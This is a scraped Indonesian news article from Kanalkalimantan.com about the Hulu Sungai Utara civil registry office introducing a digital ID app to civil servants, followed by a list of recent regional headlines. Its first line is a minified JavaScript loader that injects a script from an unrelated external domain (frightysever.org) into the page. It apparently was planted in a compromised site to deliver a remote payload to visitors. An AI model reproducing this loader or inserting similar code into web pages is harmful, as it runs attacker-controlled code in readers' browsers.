(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Serba Digital, Ini Layanan Terbaru Dukcapil HSU untuk ASN


KANALKALIMANTAN.COM, AMUNTAI – Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Hulu Sungai Utara (HSU) mulai menerapkan kartu tanda penduduk (KTP) elektronik secara digital. Sebagai awak, Dukcapil menyasar aparatur sipil negara (ASN) dilingkungan Pemerintah Kabupaten HSU.

Disdukcapil HSU mulai melakukan sosialisasi pengenalan aplikasi Identitas Kependudukan Digital secara door to door ke setiap Satuan Kerja Perangkat Daerah (SKPD) di lingkup Pemkab HSU.

“Identitas Kependudukan Digital ini memudahkan masyarakat khususnya, ASN dan Non ASN di lingkup Pemerintah Kabupaten HSU,” kata Nofi Amiruddin selaku Operator Pelayanan KTP Digital, di sela kegiatan di Kantor Diskominfosandi HSU, Rabu (14/12/2022).

Nufi menjelaskan, Identitas Kependudukan Digital ini mempermudah masyarakat mengakses dokumen kependudukan hanya melalui smartphone khususnya android.

 

Baca juga : Balap Liar di Bundaran Simpang 4 Kerap Bikin Polah, Wali Kota Aditya: Segera Dirazia!

“Kelebihan KTP digital memudahkan masyarakat bisa mengakses indentitas penduduk tanpa harus membawa KTP fisik,” jelasnya.

Adapun sosialisasi pengenalan KTP digital ini masih di tahap lingkup Pemerintah Kabupaten HSU seperti dinas, badan dan kantor,  kemudian dilanjutkan ke berbagai kelompok masyarakat.

“Untuk sementara sudah beberapa SKPD mendapatkan sosialiasi KTP digital. Nantinya akan dijadwalkan kedepannya lagi,” imbuhnya.

Sedangkan untuk mendapatkan identitas kependudukan digital, syarat wajib dipenuhi yakni sudah melakukan perekaman KTP elektronik, memiliki ponsel pintar android dan memiliki koneksi internet.

Baca juga  : Ribuan Orang Hadiri Haul Abah Anang Sya’rani di Martapura Timur

Masyarakat cukup mengunduh aplikasi identitas kependudukan digital di “playstore”.

Pada aplikasi tersebut terdapat menu data keluarga, dokumen kependudukan seperti KTP elektronik dan kartu keluarga, dokumen hasil integrasi NIK antara lain sertifikat vaksin dan NPWP.

Selain itu, di aplikasi tersebut terdapat pula QR-Code KTP digital.

“Saat ini aplikasi yang tersedia masih berbasis android, untuk ios belum ada,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.